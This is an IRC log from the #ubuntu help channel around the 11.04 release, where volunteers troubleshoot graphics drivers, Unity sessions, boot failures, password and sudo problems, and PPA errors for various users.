[02:42] <Jordan_U> I'm using Ubuntu 11.04 (upgraded) with the proprietary nvidia driver and compiz and other 3D apps are incredibly slow (compiz is almost unusable). Sometimes I get full speeds and after a few minutes of playing Armagetron Advanced my FPS will instantly drop to where it looks like a slideshow. Any ideas for troubleshooting this?
[02:43] <jerriy> carl-m: For what reason? That's the question. I have already changed the password in the GUI lemme see what happenes
[02:43] <Cale> Pascalcmoi: I had to install linux-headers-2.6.38-8-generic-pae
[02:43] <ny51bern> nit-wit:  so im pressing ctrlx on my keyboard? whats startx?
[02:43] <sidge> this is chaos, i need a better chat client, back in a bit
[02:43] <bullgard4> Cale: No.
[02:43] <leoechevarria> hey guys, i've got a little question: i've just installed 11.04, logged into ubuntu-classic by default, installed nvidia-current (i'm using geforce 6150 on a desktop), rebooted, but it's still running ubuntu-classic by default, even if i select just ubuntu from gdm login screen, any idea? i wanna try out unity!
[02:43] <jerriy> How do I change user password from the command line?
[02:43] <carl-m> jerriy: I'm sorry, but I don't know
[02:44] <nit-wit> ny51bern, so crtl-x boots from your edit to a command line. there you boot in, the startx starts the desktop from there.
[02:44] <carl-m> from the command line you use the command 'passwd'
[02:44] <sakuramboo> jerriy: `sudo passwd`
[02:44] <Pascalcmoi> Hi, I updated to ubuntu 11.04 and now the computer do not boot (always return to grub even the recovery mode) what cause that
[02:44] <carl-m> but it will ask for your old passwd first
[02:44] <leoechevarria> jerriy: do 'sudo passwd user'
[02:44] <belinrahs> is it possible to change the indicator in the top right of the screen from my username to my full name?
[02:44] <Cale> Pascalcmoi: I don't know how I managed to get to a terminal, I basically mashed F1, Esc, Delete a bunch while it was starting up, and then hit control-alt-F1 :P
[02:44] <carl-m> sakuramboo: he already can't run sudo
[02:44] <sakuramboo> gotcha
[02:44] <Cale> Pascalcmoi: and then installed the linux-headers-2.6.38-8-generic-pae package, and that fixed it
[02:44] <ny51bern> nit-wit: how do i press start x?
[02:44] <Cale> Pascalcmoi: Do you have an nvidia card?
[02:44] <carl-m> jerriy: you are typing your password, not the root password, right?
[02:44] <Pascalcmoi> yes
[02:45] <nit-wit> ny51bern, you just type it then het enter
[02:45] <dustin_> leoechevarria, try logging out and when at login screen usually at the bottom you can select your desktop environment after clicking your name
[02:45] <Cale> Pascalcmoi: yeah, I think you're seeing the same problem I was -- does it just get stuck on the stupid splash screen with 5 red dots?
[02:45] <leoechevarria> dustin_: isn't the 'ubuntu' session the unity one?
[02:45] <nit-wit> ny51bern, did you login
[02:45] <dustin_> leoechevarria, since 9.10 mine autologins to last session
[02:45] <jerriy> sakuramboo: leoechevarria: forget the "sudo" part (my problem is namely that I can't sodo nothing
[02:45] <Toph> carandraug,,, i'm having the same problems as Pascalcmoi ,, i have a Radeon card,, any ideas?
[02:45] <ny51bern> nit-wit: no, pressed ctrlx and my comp is blank purple..
[02:45] <leoechevarria> jerriy: sorry for that, i just caught up in the middle of the conversation
[02:45] <Pascalcmoi> Cale no nothing
[02:46] <bullgard4> Cale: What is the reason that you have been forced to recompile the gnome-media package without the pulsaudio stuff in it?
[02:46] <dustin_> leoechevarria, I would think so but I have a kustom Gnome desktop so I havent used unity at all
[02:46] <nit-wit> ny51bern, okay it is hit the crtl key hold it down and tap the x
[02:46] <uberfrau> okay, i figured out wtf i did wrong
[02:46] <belinrahs> Can I change where it says my username (belinrahs) to my full name on the top right corner of the regular GNOME desktop?
[02:46] <Rehan2> test
[02:46] <shcherbak> jerriy: Is it yuor system? Means can you access grub?
[02:46] <uberfrau> how do i find ~/.local/share in Dolphin?
[02:46] <uberfrau> GUI makes it easier >_>
[02:47] <Juest> belinrahs: yes you can, just add another applet
[02:47] <ny51bern> nit-wit: still hanging purple.
[02:47] <shcherbak> !test > Rehan2
[02:47] <dustin_> uberfrau, under view you should have "show hidden files"
[02:47] <ubottu> Rehan2, please see my private message
[02:47] <Cale> bullgard4: Because pulseaudio is basically completely broken on my hardware for whatever reason. It gives me only a single master volume control (no separate controls for the dozen or so things my hardware supports), and pegs my headphone volume to 0. In the latest Ubuntu, the master volume control is even greyed out.
[02:47] <jerriy> Yes scherbak: I'm the ultimate admin/boss of the pc. Btw I have found out that my root also requires password (don't you guys ask my how on earth this happened) i'll just have to do all that bin bash thing and get round this
[02:47] <uberfrau> dustin_ i do :/
[02:47] <belinrahs> Juest: if you don't mind my asking, what applet, and how is it added? synaptic?
[02:47] <Toph> uberfrau,,, View> show hidden files
[02:48] <dustin_> uberfrau, you selected it?
[02:48] <leoechevarria> dustin_: i keep selecting the session 'ubunt' but still it runs gnome 2.3.x
[02:48] <shcherbak> jerriy: can you post output of: groups <your username>
[02:48] <uberfrau> ja
[02:48] <pksadiq> uberfrau:  in terminal you may also do cd to that path and then do dolphin ./      or nautilus ./ to open that directory
[02:48] <leoechevarria> the last option says something about "user defined session", but i really don't know how to set that up
[02:48] <nit-wit> ny51bern, when you do the boot this way all you should see is text until the command line did you remove the word splash insert nomodeset leaving the space in front and after then hold down the crtl key then tap x
[02:48] <KM0201> leoechevarria: does your machine support 3D?
[02:48] <bullgard4> http://people.ubuntu.com/~nhandler/classroom.html does not show me any entries. Does this mean that there are no Ubuntu classrooms in May, 2011?
[02:48] <felipeh> hello
[02:49] <juanqui> #ubuntu -ar
[02:49] <shcherbak> felipeh: Hey
[02:49] <ny51bern> nit-wit: i did as u asked...can we do undo this? not sure what to do now =.=
[02:49] <carl-m> shcherbak: he can't even su to himself, so the problem is deeper than that
[02:49] <uberfrau> pksadiq, i'll try that, and then i can go back to see why i can't see it in Dolphin right now =)
[02:49] <juanqui> #ubuntu-ar
[02:49] <leoechevarria> KM0201: i've just installed nvidia-current, and running glxgears works fine
[02:49] <KNUBBIG> Hm it still runs the command only when I manually invoke bash
[02:49] <ny51bern> nit-wit:  still stuck on this purple..should i hold down power button?
[02:49] <KM0201> leoechevarria: dunno, that doesn't make sense
[02:49] <felipeh> español ingles?
[02:49] <escott> leoechevarria, glxgears is very deceptive always look at glxinfo
[02:49] <nit-wit> ny51bern, it sounded to me that you tried to hit crtlx all at the same time they are run the way I described
[02:49] <KNUBBIG> !es | felipeh
[02:49] <ubottu> felipeh: En la mayoría de canales de Ubuntu se habla sólo en inglés. Si busca ayuda en español o charlar entra en el canal #ubuntu-es. Escribe "/join #ubuntu-es" (sin comillas) y dale a enter.
[02:50] <shcherbak> jerriy: Ok, what users did you created on your system, and is it Ubuntu?
[02:50] <felipeh> no problem hahhahaha
[02:50] <ny51bern> nit-wit: no, i rly didnt... what should i do now?
[02:50] <carandraug> Toph, I think that message was directed to Cale, not me
[02:50] <leoechevarria> dammit, if anybody talked to me, please repeat it because i closed irc unintentionally
[02:50] <felipeh> ubottu
[02:50] <Jordan_U> I'm using Ubuntu 11.04 (upgraded) with the proprietary nvidia driver and compiz and other 3D apps are incredibly slow (compiz is almost unusable). Sometimes I get full speeds and after a few minutes of playing Armagetron Advanced my FPS will instantly drop to where it looks like a slideshow. Any ideas for troubleshooting this?
[02:50] <Toph> carandraug,,, true,,, sorry
[02:50] <uberfrau> oh it was in Home
[02:50] <Pascalcmoi> Toph: do you run synergy?
[02:50] <nit-wit> ny51bern, hold down crtl-alt-prtsc the slosly typr reisub
[02:50] <felipeh> where are you from ?
[02:50] <dustin_> leoechevarria, I am looking at it on http://scottlinux.com/2011/03/05/ubuntu-11-04-change-from-unity-to-classic-gnome/ link there
[02:51] <belinrahs> can I change the title of the Me Menu to my full name? It's currently my username
[02:51] <escott> leoechevarria, run glxinfo (mesa can easily handle glxgears these days)
[02:51] <uberfrau> oops, sorry to whoever said that, i misunderstood what you meant by it, i'm a newbie ;d
[02:51] <jerriy> shcherbak: http://paste.ubuntu.com/601550/
[02:51] <uberfrau> was in home o.O
[02:51] <Juest> felipeh: #ubuntu-es
[02:51] <ny51bern> nit-wit: held those buttons, something suppoed to popup?
[02:51] <Rehan> belinrahs: yes you can get ubuntu-tweaks
[02:51] <carandraug> Toph, no problem. Just wanted to want you since you probably want to say it again with the proper nickname prefixing it
[02:51] <Rehan> belinrahs: it will let you change it to your display name rather than username
[02:51] <nit-wit> ny51bern, that is a soft reboot if it does not work just power off it is linux that is not a big deal.
[02:51] <leoechevarria> escott: what's the line i got to usually grep in glxinfo to see if i got acceleration?
[02:51] <leoechevarria> it puts out a lot of info :P
[02:51] <belinrahs> Rehan: default repositories?
[02:52] <leoechevarria> oh there i go
[02:52] <Toph> Pascalcmoi,,, Pascalcmoi ,, no
[02:52] <bullgard4> Cale: At the outset you asked: "Is there a convenient PPA or something for adding back the gnome volume control panel applet in 11.04?" My answer now is: You need to fix your PulseAudio first from the ground on. And only after having done so ask for "adding back the gnome volume control applet".
[02:52] <Rehan> belinrahs: no i dont think so...just google ubuntu-tweak and download the deb
[02:52] <leoechevarria> leo@orleans:~$ glxinfo | grep render
[02:52] <leoechevarria> direct rendering: Yes
[02:52] <belinrahs> Rehan: ok thanks
[02:52] <nit-wit> ny51bern, no hold down the 3 keys the reisub about a sec between each one and it may do a soft reboot
[02:52] <ChogyDan> Jordan_U: what is your cooling like, have you checked the temps?
[02:52] <shcherbak> jerriy: and output of (paste here): whoami
[02:52] <escott> leoechevarria, the vendor and render version strings
[02:53] <Jordan_U> ChogyDan: Probably bad with all of the dust currently in it :) I'll check that out.
[02:53] <leoechevarria> escott: render YES, vendor NVIDIA
[02:53] <nit-wit> ny51bern, is this a fresh install or a upgrade and are there any other OS's on the computer
[02:53] <escott> mine say OpenGL renderer string: Mesa DRI Intel(R) Ironlake Mobile GEM 20100330 DEVELOPMENT yours should say something about NVIDIA
[02:53] <jerriy>  shcherbak: my username
[02:53] <scx> hello
[02:53] <ny51bern> nit-wit: i got windows xp. nah i boot into ubunt11 yesterday fine
[02:53] <Cale> bullgard4: I'm fairly convinced that will require my contributing code to the PA project, which seems excessive in comparison with just disabling it and using the features that ALSA already provides, which I know are sufficient for me :)
[02:53] <ny51bern> nit-wit: updated yesterday
[02:53] <carl-m> jerriy: just one more time, try: su USERNAME -c whoami
[02:53] <carl-m> replacing USERNAME with your username
[02:53] <ChogyDan> Jordan_U: I heard there is some sort of kernel regression causing increased temps/power usage
[02:53] <carl-m> it will ask for a password
[02:54] <carl-m> if it works, you will see it print your username again
[02:54] <ny51bern> nit-wit: can i just hold power button, cuz i think itrs frozen... or will that screww up everything
[02:54] <nit-wit> yeah
[02:54] <scx> i have untypical problem
[02:54] <scx> http://wstaw.org/h/44fa8a854d0/linki/
[02:54] <MustardCU1> Is it possible to run an error check after login?
[02:54] <scx> ^^ who is it?
[02:54] <nit-wit> ny51bern, power button is fine
[02:54] <ny51bern> nit-wit: yeah to which part :) ?
[02:54] <ny51bern> nit-wit: haha ok
[02:54] <shcherbak> jerriy: ok, try to just: sudo cat /etc/hostname > /etc/hostname_check
[02:54] <ny51bern> nit-wit: should i trty to boot again?
[02:54] <nit-wit> ny51bern, are you a ubuntu forums member
[02:55] <ChogyDan> Jordan_U: wait, nm, that was for at idle
[02:55] <haroon> one more problem. UbuntuOne isn't working. It said An internet account is requried but I am already on internet
[02:55] <ny51bern> nit-wit: nope..
[02:55] <ny51bern> nit-wit: should i be?
[02:55] <Juest> why most process are sleeping?
[02:55] <jerriy> Yer on to something shcherbak: bash: /etc/hostname_check: Permission denied
[02:55] <leoechevarria> escott: dustin_ any idea :\? it seems i got 3d acceleration, and choosing the right session
[02:56] <sidge> Juest thats normal, those processes have nothing to do
[02:56] <belinrahs> Rehan: ubuntu-
[02:56] <belinrahs> \
[02:56] <BiosElement> Juest: They're waiting for when they're needed. If they're not running, they wouldn't know when they're needed.
[02:56] <nit-wit> ny51bern, I know the IRC seems more efficient but at times it isn't always. I would a join there and post at least to have a few irons in the fire beyond this I am not sure where to go.
[02:56] <belinrahs> Rehan: ubuntu-tweak worked perfectly thank you
[02:56] <ny51bern> nit-wit: okay thanks. i appreciate you help
[02:56] <Rehan> belinrahs: awesome. i don't know much about ubuntu but thats one thing i've learned
[02:56] <jerriy> carl-m su username -c whoami >>> su: Authentication failure
[02:56] <bullgard4> Cale: I believe that your conviction is wrong. You do not need the PPA in order to re-build your (ALSA) sound system including PulseAudio.
[02:56] <Dangr_> Hey there - I upgraded to 11.04 and have dual monitors - however I can't move a window from one monitor to another
[02:56] <nit-wit> no prblem
[02:56] <dustin_> leoechevarria, well I am going to start the upgrade now and I will be albe to tell you for sure soon
[02:57] <Dangr_> When I drag the window to the side to move to another monitor it resizes to half the screen size - Windows 7 style
[02:57] <belinrahs> Rehan: you had me fooled ;)
[02:57] <SeanInSeattle> Hey all.  I've got a quick unity question for all you peeps that just recently upgraded to 11.04... How to add an application that I've unpacked (e.g. /home/apps/eclipse) outside of the debian package mgr?
[02:57] <MustardCU1> @Dangr Gnome, Unity, or something else?
[02:57] <Datz> ny51bern: were you having the freezing problem earlier?
[02:57] <Cale> bullgard4: I was really asking if there's a PPA of packages suited for people not wanting to run pulseaudio
[02:57] <dustin_> leoechevarria, or you may hear me cussing at my computer from anyplace in the world..... ;)
[02:57] <Dangr_> Unity - sorry should have mentioned that
[02:57] <fakewaffle> hi
[02:57] <shcherbak> jerriy: No aksing for password? Hm, well, you said that root have password on your system, how?
[02:57] <Cale> Or any external package repo, really.
[02:57] <ny51bern> Datz: still am
[02:57] <SeanInSeattle>  Correction:   How to add an application that I've unpacked (e.g. /home/apps/eclipse) outside of the debian package mgr to the unity launch panel?
[02:57] <haroon> ne more problem. UbuntuOne isn't working. It said An internet account is requried but I am already on internet
[02:57] <Dangr_> MustardCU1, Unity - sorry should have mentioned that
[02:58] <escott> leoechevarria, i didnt catch all that was happening. unity 3d won't come up?
[02:58] <leoechevarria> dustin_: don't take such a work if it's not necessary
[02:58] <MustardCU1> it's okay
[02:58] <leoechevarria> escott: right
[02:58] <Datz> ny51bern: did you try the failsafe graphics mode on the recovery menu?
[02:58] <bazhang> haroon, ask in #ubuntuone
[02:58] <bullgard4> Cale: Ah! I see. I do not know if such a PPA exists. Sorry.
[02:58] <MustardCU1> @dangr_ i don't use Unity though, sorry
[02:58] <ChogyDan> haroon: do you have an ubuntuone account?  have you plugged in the details?
[02:58] <sidge> I have my chat working better now.  how do i get whatever part of ubuntu that automounts to put the mountpoint where i want it?
[02:58] <escott> SeanInSeattle, if you start it you may be able to pin the icon to the panel
[02:58] <gartral> Is SVN on Natty hosed?
[02:58] <Dangr_> MustardCU1, crud - yeah so far I dont think I will either :-/
[02:58] <ny51bern> Datz: no, im not even really sure what that means. but i just booted and it worked.
[02:58] <bazhang> Cale, check the PPA search at launchpad
[02:58] <dustin_> leoechevarria, I want to make the upgrade anyway but dual screens make upgrading a pain at times
[02:58] <ny51bern> Datz: not sure i didn anything differently..
[02:58] <BiosElement> gartral: No?
[02:58] <escott> leoechevarria, and have you tried manually starting compiz
[02:58] <leoechevarria> escott: dustin_ i just created a new user and tried to load unity and said something like "you don't have the necessary hardware to run unity, select ubuntu-classic from the login screen'
[02:58] <jerriy> I type "sudo cat /etc/hostname > /etc/hostname_check" and I immediately get bash: "/etc/hostname_check: Permission denied"
[02:58] <Dangr_> However I have another issue - my wireless cards download speed is brutally slow - but upload speed is fine
[02:58] <ny51bern> nit-wit: just booted and it worked.. rlly weird
[02:58] <GarryFre> When I right-click on anything, I get a popup window where the color of the text is almost the same color as the background color. Since I don't even have the words for these objects, I can't seem to find out how to change these items by googling. Hard to ask a machine a question if you don't have the words.
[02:59] <leoechevarria> escott: not actually, don't know really well what unity is based upon
[02:59] <Datz> ny51bern: strange. well at least it's workin now. Let's hope it stays that way
[02:59] <escott> leoechevarria, what nvidia card is it?
[02:59] <dustin_> leoechevarria, check your proprietary drivers
[02:59] <carl-m> jerriy: yes, you should get permission denied for that
[02:59] <Dangr_> Any ideas as to why my wireless download is so poor but upload is fine?
[02:59] <ny51bern> Datz: yeah u had the same issue? what did u do?
[02:59] <Dangr_> It was working just fine on 10.10
[02:59] <shcherbak> jerriy: Sorry, my bad, just run: sudo cat /etc/hostname (">" do not take sudo)
[02:59] <haroon> ne more problem. UbuntuOne isn't working. It said An internet account is requried but I am already on internet
[02:59] <ny51bern> Datz: turn on and off to make sure its good.
[02:59] <bazhang> haroon, #ubuntone
[02:59] <KNUBBIG> took another machine, works there fine. yey
[02:59] <carl-m> jerriy: but for the 'su' one, it should work. that is not going through sudo. something is wrong with your password, or something is wrog with your authentication setup
[02:59] <ny51bern> Datz: im going to *
[02:59] <bazhang> err #ubuntuone haroon
[02:59] <carl-m> I am surprised you can log in
[02:59] <leoechevarria> escott: dustin_ it's a geforce 6150, integrated
[02:59] <escott> GarryFre, jump lists? popups from the panel?
[02:59] <leoechevarria> drivers seem to be installed ok
[03:00] <mastaofdisasta> hey guys, my laptop has a illuminated keyboard.  On windows when I press it it lights up, if idle for 5 seconds it turns off.  how do I get this working with ubuntu?
[03:00] <Datz> ny51bern: ok.
[03:00] <mastaofdisasta> it even works with grub, not with ubuntu
[03:00] <tortoise> Hola. I'm having issues loading certain pages in firefox. I believe it is because the URL contains unknown characters. I'm thinking this is because firefox has not been updated in awhile, due to missing repositories, but I'm not sure how to fix the repositories. Can someone give me a hand with this?
[03:00] <haroon> baxhang,yes
[03:00] <Datz> ny51bern: right now I'm where you were before.
[03:00] <Datz> lol
[03:00] <bazhang> haroon, ask there
[03:00] <jerriy> I something is definitely wrong with my authentication setup. I know that for sure
[03:00] <jerriy> I just dunno how to sort it
[03:00] <uberfrau> :S I copy + pasted the contents of the tarball download (the gedit plugin, and yes i extracted it into tmp)into ~/.local/share/gedit/plugins , and restarted gedit, but the plugin isn't available in the list under preferences. What should check/what could I have done incorrectly?
[03:00] <haroon> one more problem. UbuntuOne isn't working. It said An internet account is requried but I am already on internet
[03:00] <dustin_> leoechevarria, did you check your proprietary drivers?
[03:00] <GarryFre> actally its happenign with any popup list, like the lists under file, view, etc in firefox
[03:00] <ny51bern> Datz:  just hangs on the login page?
[03:01] <Datz> ny51bern: I'm contemplating debian :p
[03:01] <escott> leoechevarria, you could pastebin the glxinfo output, but i'm not really sure what to look for
[03:01] <bazhang> haroon, ask in #ubuntuone please stop repeating
[03:01] <Datz> ny51bern: before then for me
[03:01] <dustin_> leoechevarria, they are usualy disabled on upgrade
[03:01] <Cale> https://launchpad.net/~dtl131/+archive/ppa  <-- !! this looks exactly like what I want
[03:01] <shcherbak> jerriy: What about: sudo cat /etc/hostname (are you asked for password?)
[03:01] <ny51bern> Datz: ahhaa. rebooting, lets hope this actually works
[03:01] <leoechevarria> dustin_: what do you mean by checking? i installed 11.04 from stracth, then installed nvidia-current package
[03:01] <Pascalcmoi> I have updated to 11.04 via synaptic and once the system reboot, it cant load any kernel. When i choose a kernel, the screen become black and after few seconds im back to grub menu
[03:01] <MustardCU1> @Pascalcmoi recovery kernel?
[03:01] <dustin_> leoechevarria, ok sounds like you have the correct drivers then and they are enabled
[03:02] <Pascalcmoi> MustardCU1: even this one
[03:02] <escott> Pascalcmoi, what about a kernel that used to work
[03:02] <leoechevarria> dustin_: i think they are
[03:02] <ny51bern> Datz:  ugh its stuck again =.=
[03:02] <tortoise> I'm getting this specific message every time I try to update: "
[03:02] <tortoise> Failed to fetch http://ppa.launchpad.net/mozzilateam/firefox-stable/ubuntu/dists/lucid/main/binary-i386/Packages.gz  404  Not Found
[03:02] <tortoise> Some index files failed to download, they have been ignored, or old ones used instead.
[03:02] <linuasus6> Hi when I restart computer grub doesnt seem to work it said file not  found how to restore grub please is the grub of linux mint so I gues is grub 2 no^
[03:02] <KNUBBIG> tortoise: that means that the ppa probably doesn't have any packages for lucid lynx yet
[03:02] <mastaofdisasta> hey guys, my laptop has a illuminated keyboard.  On windows when I press it it lights up, if idle for 5 seconds it turns off.  how do I get this working with ubuntu?
[03:02] <escott> tortoise, thats a pretty old ppa you may want to purge it with ppa-purge (its for lucid lynx)
[03:03] <GarryFre> Tortoise, sometimes I get that if I don't do reload packages.
[03:03] <Datz> ny51bern: safe mode, recovery, failsafe x, reconfigure graphics restart
[03:03] <Pascalcmoi> escott yes older kernel work but not the new one and the new recovery one
[03:03] <dustin_> leoechevarria, unity may have a small glitch on your system
[03:03] <KNUBBIG> tortoise: you sure you don't got a type there= maybe should be mozillateam instead of mozozilateam?
[03:03] <KNUBBIG> mozilateam*
[03:03] <Pascalcmoi> escott: what can i do via the older recovery kernel to fix everything
[03:03] <ny51bern> Datz: idk how to do that stuff :/
[03:03] <jerriy> shcherbak: yes I'm asked for passworld
[03:03] <Datz> ny51bern: if that recovery menu comes up agian, i'll be in the options
[03:03] <shcherbak> jerriy: And you know your password?
[03:04] <leoechevarria> dustin_: i will not make much of a trouble of it...i just wanted to try it but then install gnome 3 any way :P
[03:04] <Rehan> how can I reverse the steps If I did this command from terminal: "echo "options psmouse proto=imps"|sudo tee -a /etc/modprobe.d/psmouse.conf; sudo modprobe -r psmouse; sudo modprobe psmouse"
[03:04] <uberfrau> guize? ;o
[03:04] <Pascalcmoi> MustardCU1: the old recovery kernel work. what can i do to fix that and what you think cause that
[03:04] <Datz> ny51bern: just select safe mode when you get to the grub menu
[03:04] <tortoise> escott: where could I find a newer ppa?
[03:04] <escott> Pascalcmoi, well you could remove the newer kernel and continue to boot the older one. if it is spontanteously rebooting like that thought, I don't know how to trace the issue, except to start building your own kernel
[03:04] <escott> tortoise, is there a reason you don't want to use ubuntu firefox
[03:04] <dustin_> leoechevarria, well I am doing my upgrade now so I hope some luck fallows me today
[03:05] <MustardCU1> @Pascalcmoi I would update and hope something fixes it.  It's all i got, sorry
[03:05] <kyle__> i have a question about my fonts sizes in kubuntu,  i know this is a ubuntu channel but theres only 1 person in kubuntu talking and he cant help me
[03:05] <KNUBBIG> tortoise: use Opera! *ducksandruns*
[03:05] <tortoise> escott: Oh, I thought I was
[03:05] <ny51bern> Datz: no safe mode option... "recovery mode" ?
[03:05] <jerriy> shcherbak: I am here posting under that username so doesn't that mean I know and "it knows"?
[03:05] <Datz> ny51bern: yep all working here now
[03:05] <kyle__> when i boot up kubuntu my font size is huge, much to big to even fit in the text boxes, i forced 96 dpi once in kubuntu which fixed it, but the log on screen is still huge. any ideas?
[03:05] <leoechevarria> dustin_: good luck with that :P
[03:05] <dustin_> I have a Gnome-plasma hybrid desktop on one screen and a standard Gnome on my TV so I hope it doesnt go all "funny" on me
[03:05] <Datz> ny51bern: are you saying there is a recovery mode?
[03:05] <escott> tortoise, no a ppa is for testing software or for things that are configured differently from stock ubuntu
[03:05] <Datz> or screen*
[03:05] <ny51bern> Datz: yes, not safe mode.
[03:06] <Datz> ny51bern: ok, then there is a failsafe x option or somethiong like that?
[03:06] <ny51bern> Datz: there is 'recovery mode' there isnt a safe mode
[03:06] <Datz> should be midway
[03:06] <Rehan> how can I reverse the steps If I did this command from terminal: echo "options psmouse proto=imps"|sudo tee -a /etc/modprobe.d/psmouse.conf; sudo modprobe -r psmouse; sudo modprobe psmouse
[03:06] <ny51bern> Datz: idk..
[03:06] <dustin_> leoechevarria,  ty for the luck wishes
[03:06] <akharris> Hey guys, I'm running 11.04 32bit, if i install the 64bit what will the diffrences be?
[03:06] <tortoise> escott: is ubuntu ff in the software center?
[03:06] <shcherbak> jerriy: sudo should accept password from "username" user
[03:06] <Datz> ny51bern: what is third option down?
[03:06] <ny51bern> Datz:  i got 6 options on boot list..
[03:07] <escott> Rehan, remove the options psmouse line from /etc/modprobe.d/psmouseconf. and sudo rmmod psmouse
[03:07] <jerriy> shcherbak: login accepts but sudo doesn't
[03:07] <escott> tortoise, yes
[03:07] <shcherbak> jerriy: Ok, one sec
[03:07] <kyle__> anyone have any idea what the problem is?
[03:07] <ny51bern> datz: starting from top to bottom> ubuntu with linux, ubuntu with linux (recovery), previous linux versions, mem test 86+, mem test serial console, windows xp
[03:07] <escott> tortoise, you will want to look at ppa-purge then use synaptic to install firefox
[03:07] <Datz> ny51bern: does it say recovery menu at the top, or grub?
[03:07] <Datz> ny51bern: ah ok, try recovery mode. my fault
[03:07] <MustardCU1> @Pascalcmoi reinstalling 10.10 would also work, of course as long as you know that works.  Just make a new partition and copy anything you need from the 11.04 Ubuntu over to the 10.10
[03:08] <akharris> Diffrence between 32 and 64 bits?
[03:08] <tortoise> escott: where is ppa-purge?
[03:08] <leoechevarria> what's the best way to install gnome3 in ubuntu 11.04 guys :P?
[03:08] <escott> !ppa-purge | tortoise
[03:08] <ny51bern> Datz: top top of screen says " gnu grub version 1.99~rc1-13ubuntu3
[03:08] <GarryFre> escott Actually it seems any list like under the main menu in Firefox ...   like Click file and all the choices have to be moused over so I can see the text.
[03:08] <uberfrau> and i just tried `make install` and it failed (Error 1) :/
[03:08] <Datz> ny51bern: ok, try the recovery mode
[03:08] <ny51bern> Datz: k, going into recovery mode
[03:09] <ny51bern> Datz: bunch of options like before.. which was the one to choose?
[03:09] <escott> tortoise, sudo apt-get ppa-purge. just look over what you plan to do first, because in the meantime you wont have a browser
[03:10] <tortoise> escott: that's fine, if anything I have chrome
[03:10] <akharris> What is the Diffrence between a 32 bit of 11.04 and a 64 bit version of 11.04?
[03:10] <pksadiq> !gnome3 | leoechevarria
[03:10] <ubottu> leoechevarria: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[03:10] <linuasus6> Hi when I restart computer grub doesnt seem to work it said file not  found how to restore grub please is the grub of linux mint so I gues is grub 2 no^ the grub is suppose to be on /boot partition
[03:10] <ali1234> how do i get apps running inside xephyr to show a menu bar?
[03:10] <leoechevarria> let's break everything! wohoo!
[03:10] <Juest> lol
[03:10] <escott> GarryFre, it should be white font on black background. have you looked at the theme?
[03:10] <Juest> ?
[03:10] <Datz> ny51bern: failsafeX
[03:11] <ny51bern> Datz: okay, doing that now
[03:11] <Pascalcmoi> I have updated to 11.04 via synaptic and once the system reboot, it cant load any kernel. When i choose a kernel, the screen become black and after few seconds im back to grub menu <== im wrong, the system reboot each time i choose the kernel
[03:11] <shcherbak> jerriy: First type your password in terminal prompt to see if it is correct, otherwise you can try to make new admin from recovery to fix last one, check if password is ok, first.
[03:11] <PlndObslcns> join /#cinelerra
[03:11] <ny51bern> Datz: "ubuntu is running in low-graphic mode"
[03:11] <Datz> ny51bern: ok
[03:11] <uberfrau> :S I copy + pasted the contents of the tarball download (the gedit plugin, and yes i extracted it into tmp)into ~/.local/share/gedit/plugins , and restarted gedit, but the plugin isn't available in the list under preferences. What should check/what could I have done incorrectly?
[03:11] <ny51bern> Datz: normal ?
[03:11] <tortoise> escott: is it named ppa-purge? It's not finding the package
[03:11] <Datz> ny51bern: not yet, but getting somewhere
[03:11] <ny51bern> Datz: press "okay"?
[03:11] <Datz> yes
[03:11] <escott> akharris, the wikipedia page explains the differences between 64 and 32 bit architectures. you can see if you have 64 bit by looking for "lm" in the flags section of your /proc/cpuinfo
[03:12] <ny51bern> Datz: k now i got bunch of options
[03:12] <escott> tortoise, are you running lucid?
[03:12] <akharris> escott: ty
[03:12] <Datz> ny51bern: something like default config
[03:12] <Datz> use that one
[03:12] <jerriy> shcherbak: what do you mean type your passworld (just type that alone?
[03:12] <Datz> should be first I think
[03:12] <ny51bern> Datz: dont have that..
[03:12] <ny51bern> Datz: heres what i got
[03:12] <tortoise> escott: yes
[03:12] <Datz> what is the first one?
[03:12] <escott> akharris, http://en.wikipedia.org/wiki/X86-64
[03:13] <shcherbak> jerriy: Yes to see it in terminal, also try: gksudo gedit
[03:13] <ny51bern> Datz: "run ubuntu in low graphics mode for just one session" "reconfig graphics" "troubleshoot the error" "exit to console login" "restart x"
[03:13] <Datz> ny51bern: reconfigure
[03:13] <linuasus6> ok so if I reinstall ubuntu and put the grub on boot partition the grub will see linux mint and windows 7
[03:13] <mastaofdisasta> I have a backlit keyboard.  is there a way to make this work on linux?
[03:13] <ny51bern> Datz: ok
[03:13] <Datz> ny51bern: then default
[03:13] <boomdraw> 11.04 FTW!:P
[03:14] <dustin_> mastaofdisasta, it should just work as a regular keyboard
[03:14] <jerriy> shcherbak: gksudo gedit resulted (after me typing password): (process:13892): Gtk-WARNING **: Locale not supported by C library.
[03:14] <ny51bern> Datz: okay, tried doing defualt but everytime i click 'ok' takes me back to that option
[03:14] <xiambax> has been running ubuntu+1 since forever
[03:14] <Datz> ny51bern: ok click cancel, what are the options?
[03:14] <jerriy> And then: Using the fallback 'C' locale.
[03:14] <xiambax> 11.04 is old sauce to me
[03:14] <dustin_> mastaofdisasta, the backlighting is usualy done with an led that is built in and needs no drivers
[03:14] <shcherbak> jerriy: Are you in virtual terminal?
[03:14] <boomdraw> unity is not bad...idk why ppl are complaining so much :)
[03:14] <ny51bern> Datz:  back to this: "run ubuntu in low graphics mode for just one session" "reconfig graphics" "troubleshoot the error" "exit to console login" "restart x"
[03:15] <Datz> restart x
[03:15] <mastaofdisasta> dustin_: on windows the backlit keyboard lights up only when I push buttons.  after idle for 5 seconds it turns off
[03:15] <ny51bern> Datz: click ok?
[03:15] <Datz> ny51bern: I think it should work now.yes
[03:15] <sly> Anyone available to help me with a problem?
[03:15] <escott> tortoise, ok well then it makes some sense to have a ppa if you want firefox 4, otherwise you are stuck with 3.2? but the mozillateam hasn't released any packages or has changed names. maybe someone else has packaged firefox 4 for lucid
[03:15] <ny51bern> Datz: login screen.. trying now
[03:15] <Datz> ok
[03:15] <dustin_> mastaofdisasta, have you tried it on ubuntu yet?
[03:15] <ny51bern> Datz: rozen :(
[03:15] <ny51bern> Datz: frozen
[03:15] <mastaofdisasta> yes I'm on ubuntu now but it doesn't work.
[03:16] <Datz> ny51bern: strange. well try and restart. if that doesn't work. try low graphics mode for one session
[03:16] <escott> mastaofdisasta, what laptop is this?
